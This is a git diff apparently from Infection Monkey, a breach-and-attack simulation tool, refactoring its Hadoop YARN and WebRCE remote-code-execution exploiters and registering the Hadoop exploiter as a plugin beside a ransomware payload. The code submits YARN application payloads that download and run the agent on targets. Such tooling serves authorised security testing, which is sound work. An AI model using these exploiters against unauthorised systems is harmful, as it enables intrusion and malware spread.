diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py index 59cab9021..5a3c29b65 100644 --- a/monkey/infection_monkey/exploit/hadoop.py +++ b/monkey/infection_monkey/exploit/hadoop.py @@ -33,29 +33,32 @@ class HadoopExploiter(WebRCE): # Random string's length that's used for creating unique app name RAN_STR_LEN = 6 - def __init__(self, host): - super(HadoopExploiter, self).__init__(host) + def __init__(self): + super(HadoopExploiter, self).__init__() def _exploit_host(self): # Try to get exploitable url urls = self.build_potential_urls(self.host.ip_addr, self.HADOOP_PORTS) self.add_vulnerable_urls(urls, True) if not self.vulnerable_urls: - return False - # We presume hadoop works only on 64-bit machines - if self.host.os["type"] == "windows": - self.host.os["machine"] = "64" + return self.exploit_result paths = self.get_monkey_paths() if not paths: - return False + return self.exploit_result http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths["src_path"]) - command = self.build_command(paths["dest_path"], http_path) - if not self.exploit(self.vulnerable_urls[0], command): - return False - http_thread.join(self.DOWNLOAD_TIMEOUT) - http_thread.stop() - self.add_executed_cmd(command) - return True + + try: + command = self._build_command(paths["dest_path"], http_path) + + if self.exploit(self.vulnerable_urls[0], command): + self.add_executed_cmd(command) + self.exploit_result.exploitation_success = True + self.exploit_result.propagation_success = True + finally: + http_thread.join(self.DOWNLOAD_TIMEOUT) + http_thread.stop() + + return self.exploit_result def exploit(self, url, command): # Get the newly created application id @@ -69,7 +72,7 @@ class HadoopExploiter(WebRCE): rand_name = ID_STRING + "".join( [safe_random.choice(string.ascii_lowercase) for _ in range(self.RAN_STR_LEN)] ) - payload = self.build_payload(app_id, rand_name, command) + payload = self._build_payload(app_id, rand_name, command) resp = requests.post( posixpath.join(url, "ws/v1/cluster/apps/"), json=payload, timeout=LONG_REQUEST_TIMEOUT ) @@ -85,7 +88,7 @@ class HadoopExploiter(WebRCE): return False return resp.status_code == 200 - def build_command(self, path, http_path): + def _build_command(self, path, http_path): # Build command to execute monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1) if "linux" in self.host.os["type"]: @@ -101,7 +104,7 @@ class HadoopExploiter(WebRCE): } @staticmethod - def build_payload(app_id, name, command): + def _build_payload(app_id, name, command): payload = { "application-id": app_id, "application-name": name, diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py index 5c315e61d..312ac3b57 100644 --- a/monkey/infection_monkey/exploit/web_rce.py +++ b/monkey/infection_monkey/exploit/web_rce.py @@ -1,11 +1,10 @@ import logging -import re from abc import abstractmethod from posixpath import join from typing import List, Tuple from common.utils.attack_utils import BITS_UPLOAD_STRING, ScanStatus -from infection_monkey.exploit.consts import WIN_ARCH_32, WIN_ARCH_64 +from infection_monkey.exploit.consts import WIN_ARCH_64 from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey from infection_monkey.exploit.tools.http_tools import HTTPTools @@ -15,8 +14,6 @@ from infection_monkey.model import ( CHMOD_MONKEY, DOWNLOAD_TIMEOUT, DROPPER_ARG, - GET_ARCH_LINUX, - GET_ARCH_WINDOWS, ID_STRING, MONKEY_ARG, POWERSHELL_HTTP_UPLOAD, @@ -35,22 +32,13 @@ POWERSHELL_NOT_FOUND = "powershell is not recognized" class WebRCE(HostExploiter): - def __init__(self, host, monkey_target_paths=None): + def __init__(self, monkey_target_paths=None): """ - :param host: Host that we'll attack :param monkey_target_paths: Where to upload the monkey at the target host system. Dict in format {'linux': '/tmp/monkey.sh', 'win32': './monkey32.exe', 'win64':... } """ - super(WebRCE, self).__init__(host) - if monkey_target_paths: - self.monkey_target_paths = monkey_target_paths - else: - self.monkey_target_paths = { - "linux": self._config.dropper_target_path_linux, - "win32": self._config.dropper_target_path_win_32, - "win64": self._config.dropper_target_path_win_64, - } - self.HTTP = [str(port) for port in self._config.HTTP_PORTS] + super(WebRCE, self).__init__() + self.monkey_target_paths = monkey_target_paths self.vulnerable_urls = [] self.target_url = None @@ -80,10 +68,6 @@ class WebRCE(HostExploiter): # vulnerable. exploit_config["stop_checking_urls"] = False - # blind_exploit: If true we won't check if file exist and won't try to get the - # architecture of target. - exploit_config["blind_exploit"] = False - return exploit_config def _exploit_host(self): @@ -108,10 +92,6 @@ class WebRCE(HostExploiter): self.target_url = self.get_target_url() - # Check for targets architecture (if it's 32 or 64 bit) - if not exploit_config["blind_exploit"] and not self.set_host_arch(self.get_target_url()): - return False - # Upload the right monkey to target data = self.upload_monkey(self.get_target_url(), exploit_config["upload_commands"]) @@ -133,6 +113,16 @@ class WebRCE(HostExploiter): return True + def pre_exploit(self): + if not self.monkey_target_paths: + self.monkey_target_paths = { + "linux": self.options["dropper_target_path_linux"], + "win32": self.options["dropper_target_path_win_32"], + "win64": self.options["dropper_target_path_win_64"], + } + self.HTTP = [str(port) for port in self.options["http_ports"]] + super().pre_exploit() + @abstractmethod def exploit(self, url, command): """ @@ -254,38 +244,6 @@ class WebRCE(HostExploiter): if not self.vulnerable_urls: logger.info("No vulnerable urls found, skipping.") - def get_host_arch(self, url): - """ - :param url: Url for exploiter to use - :return: Machine architecture string or false. Eg. 'i686', '64', 'x86_64', ... - """ - if "linux" in self.host.os["type"]: - resp = self.exploit(url, GET_ARCH_LINUX) - if resp: - # Pulls architecture string - arch = re.search(r"(?<=Architecture:)\s+(\w+)", resp) - try: - arch = arch.group(1) - except AttributeError: - logger.error("Looked for linux architecture but could not find it") - return False - if arch: - return arch - else: - logger.info("Could not pull machine architecture string from command's output") - return False - else: - return False - else: - resp = self.exploit(url, GET_ARCH_WINDOWS) - if resp: - if "64-bit" in resp: - return WIN_ARCH_64 - else: - return WIN_ARCH_32 - else: - return False - # Wrapped functions: def get_ports_w(self, ports, names): """ @@ -302,15 +260,6 @@ class WebRCE(HostExploiter): else: return ports - def set_host_arch(self, url): - arch = self.get_host_arch(url) - if not arch: - logger.error("Couldn't get host machine's architecture") - return False - else: - self.host.os["machine"] = arch - return True - def run_backup_commands(self, resp, url, dest_path, http_path): """ If you need multiple commands for the same os you can override this method to add backup @@ -327,7 +276,9 @@ class WebRCE(HostExploiter): "monkey_path": dest_path, "http_path": http_path, } - T1197Telem(ScanStatus.USED, self.host, BITS_UPLOAD_STRING).send() + self.telemetry_messenger.send_telemtry( + T1197Telem(ScanStatus.USED, self.host, BITS_UPLOAD_STRING) + ) resp = self.exploit(url, backup_command) return resp @@ -385,10 +336,10 @@ class WebRCE(HostExploiter): command = CHMOD_MONKEY % {"monkey_path": path} try: resp = self.exploit(url, command) - T1222Telem(ScanStatus.USED, command, self.host).send() + self.telemetry_messenger.send_telemtry(T1222Telem(ScanStatus.USED, command, self.host)) except Exception as e: logger.error("Something went wrong while trying to change permission: %s" % e) - T1222Telem(ScanStatus.SCANNED, "", self.host).send() + self.telemetry_messenger.send_telemtry(T1222Telem(ScanStatus.SCANNED, "", self.host)) return False # If exploiter returns True / False if isinstance(resp, bool): @@ -517,14 +468,15 @@ class WebRCE(HostExploiter): logger.error("Target's OS was either unidentified or not supported. Aborting") return False if self.host.os["type"] == "linux": - return self._config.dropper_target_path_linux + return self.options["dropper_target_path_linux"] if self.host.os["type"] == "windows": try: + # remove now or when 32-bit binaries are removed? if self.host.os["machine"] == WIN_ARCH_64: - return self._config.dropper_target_path_win_64 + return self.options["dropper_target_path_win_64"] except KeyError: logger.debug("Target's machine type was not set. Using win-32 dropper path.") - return self._config.dropper_target_path_win_32 + return self.options["dropper_target_path_win_32"] def get_target_url(self): """ diff --git a/monkey/infection_monkey/exploit/weblogic.py b/monkey/infection_monkey/exploit/weblogic.py index d310833db..b2747a3f2 100644 --- a/monkey/infection_monkey/exploit/weblogic.py +++ b/monkey/infection_monkey/exploit/weblogic.py @@ -68,7 +68,6 @@ class WebLogic201710271(WebRCE): def get_exploit_config(self): exploit_config = super(WebLogic201710271, self).get_exploit_config() - exploit_config["blind_exploit"] = True exploit_config["stop_checking_urls"] = True exploit_config["url_extensions"] = WebLogic201710271.URLS return exploit_config @@ -267,7 +266,6 @@ class WebLogic20192725(WebRCE): def get_exploit_config(self): exploit_config = super(WebLogic20192725, self).get_exploit_config() exploit_config["url_extensions"] = WebLogic20192725.URLS - exploit_config["blind_exploit"] = True exploit_config["dropper"] = True return exploit_config diff --git a/monkey/infection_monkey/model/__init__.py b/monkey/infection_monkey/model/__init__.py index c1469829b..580a5d7d0 100644 --- a/monkey/infection_monkey/model/__init__.py +++ b/monkey/infection_monkey/model/__init__.py @@ -44,8 +44,7 @@ RUN_MONKEY = "%(monkey_path)s %(monkey_type)s %(parameters)s" # Commands used to check for architecture and if machine is exploitable CHECK_COMMAND = "echo %s" % ID_STRING # Architecture checking commands -GET_ARCH_WINDOWS = "wmic os get osarchitecture" -GET_ARCH_LINUX = "lscpu" +GET_ARCH_WINDOWS = "wmic os get osarchitecture" # can't remove, powershell exploiter uses # All in one commands (upload, change permissions, run) HADOOP_WINDOWS_COMMAND = ( diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index fc52290bb..17dc5bc54 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -17,6 +17,7 @@ from infection_monkey.credential_collectors import ( SSHCredentialCollector, ) from infection_monkey.exploit import ExploiterWrapper +from infection_monkey.exploit.hadoop import HadoopExploiter from infection_monkey.exploit.sshexec import SSHExploiter from infection_monkey.i_puppet import IPuppet, PluginType from infection_monkey.master import AutomatedMaster @@ -222,6 +223,9 @@ class InfectionMonkey: exploit_wrapper.wrap(SSHExploiter), PluginType.EXPLOITER, ) + puppet.load_plugin( + "HadoopExploiter", exploit_wrapper.wrap(HadoopExploiter), PluginType.EXPLOITER + ) puppet.load_plugin("ransomware", RansomwarePayload(), PluginType.PAYLOAD) diff --git a/monkey/monkey_island/cc/resources/telemetry_feed.py b/monkey/monkey_island/cc/resources/telemetry_feed.py index 37e6327f6..1098d2b50 100644 --- a/monkey/monkey_island/cc/resources/telemetry_feed.py +++ b/monkey/monkey_island/cc/resources/telemetry_feed.py @@ -82,7 +82,7 @@ class TelemetryFeed(flask_restful.Resource): def get_exploit_telem_brief(telem): target = telem["data"]["machine"]["ip_addr"] exploiter = telem["data"]["exploiter"] - result = telem["data"]["result"] + result = telem["data"]["exploitation_result"] if result: return "Monkey successfully exploited %s using the %s exploiter." % (target, exploiter) else: diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index 19a2a4497..0fc3af855 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -611,6 +611,8 @@ class ConfigService: ]: exploit_options[dropper_target] = config.get(dropper_target, "") + exploit_options["http_ports"] = sorted(config["HTTP_PORTS"]) + formatted_exploiters_config = { "options": exploit_options, "brute_force": [], diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py b/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py index 58e762036..2ac3fbe6a 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py @@ -175,6 +175,7 @@ def test_format_config_for_agent__exploiters(flat_monkey_config): "dropper_target_path_linux": "/tmp/monkey", "dropper_target_path_win_32": r"C:\Windows\temp\monkey32.exe", "dropper_target_path_win_64": r"C:\Windows\temp\monkey64.exe", + "http_ports": [80, 443, 7001, 8008, 8080, 9200], }, "brute_force": [ {"name": "MSSQLExploiter", "options": {}},